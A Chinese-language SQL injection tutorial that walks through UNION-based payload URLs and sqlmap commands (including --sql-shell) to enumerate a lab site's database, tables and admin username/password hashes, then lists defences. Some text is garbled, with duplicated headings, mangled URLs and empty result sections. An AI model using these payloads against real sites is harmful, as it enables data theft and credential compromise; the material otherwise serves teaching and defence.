目录
(4)使用database()函数替换3的位置,查询出数据库的名称
1. 什么是SQLi?
2. SQLi危害?
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统
3. 手工联合查询注入思路步骤
(1)找到注入点
此处向后端数据库传入了参数,有可以利用的漏洞
(2)猜测后端查询语句,判断列数
select * from t_xx where id = 1 order by 5
当列数为6时失败,而5成功,说明后端数据库的列数为5.
(3)联合查询
http://www.wabjtam.ml:12380/News/newsView.php?newsId=-1 union select 1,2,3,4,5
(4)使用database()函数替换3的位置,查询出数据库的名称
http://www.wabjtam.ml:12380/News/newsView.php?newsId=-1 union select 1,2,3,4,5
可知数据库的名称为double_fish
(5)
目录
(4)使用database()函数替换3的位置,查询出数据库的名称
查询表名
select table_name from information_schema.tables where table_schema ='double_fish'
http://www.wabjtam.ml:12380/News/newsView.php?newsId=-1 union select 1,2,table_name,4,5 from information_schema.tables where table_schema =
'double_fish'
使用聚合函数group_connect()返回所有表的表名
(6)查询t_admin的列名
select column_name from information_schema.columns
where table_schema='double_fish' and table_name = 't_admin'
拼接后
http://www .wabjtam.ml : 12380 /News/newsView .php ?newsId =- 1 union select1 , 2 , group_concat ( column_name ) , 4 , 5 from information_schema .columns wheretable_schema = 'double_fish' and table_name = 't_admin'
(7) 构造密码查询语句
SELECT username, password from t_admin; 1
拼接后:
http://www.wabjtam.ml:12380/News/newsView.php?newsId=-1 union select 1,username, password,4,5 from t_admin
得到了用户名和密码的hash值
4. 工具:SQLMAP
SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
参考链接:https://blog.csdn.net/m0_64378913/article/details/124439539
实例:通过SQL-Map工具获取到管理员的密码hash
演示使用的是自搭建靶场
(1)查库名
-u 目标地址
--current-db 获取当前数据库
python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php? newsId=1 --current-db
运行结果:
(2)查表名
-D double_fish --tables 获取数据库double_fish中所有表的信息
python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php? newsId=1 -D double_fish --tables
运行结果:
(3)查列名
-D double_fish -T t_admin --columns 获取数据库登录表的所有字段
python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php?newsId=1 -D double_fish -T t_admin --columns
运行结果:
(4)进入sql-shell
python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php? newsId=1 --sql-shell
运行结果:
(5)查记录
SELECT username,password from t_admin;
运行结果:
5.SQLi的防护思路:
- 为每个网站单独建立用户,最小化dbms和其中用户的权限
- 正确地采用安全的数据库连接方式,如php中的PDO或MySQLi
- 采用成熟的防注入的框架(参考OWASP网站、或者Discuzz及WordPress等的防注入手段)
- 细节上:
- - 对于提交的数字型参数,需严格限定数据类型;
- - 特殊的字符转义
- - 避免存储过程出现注入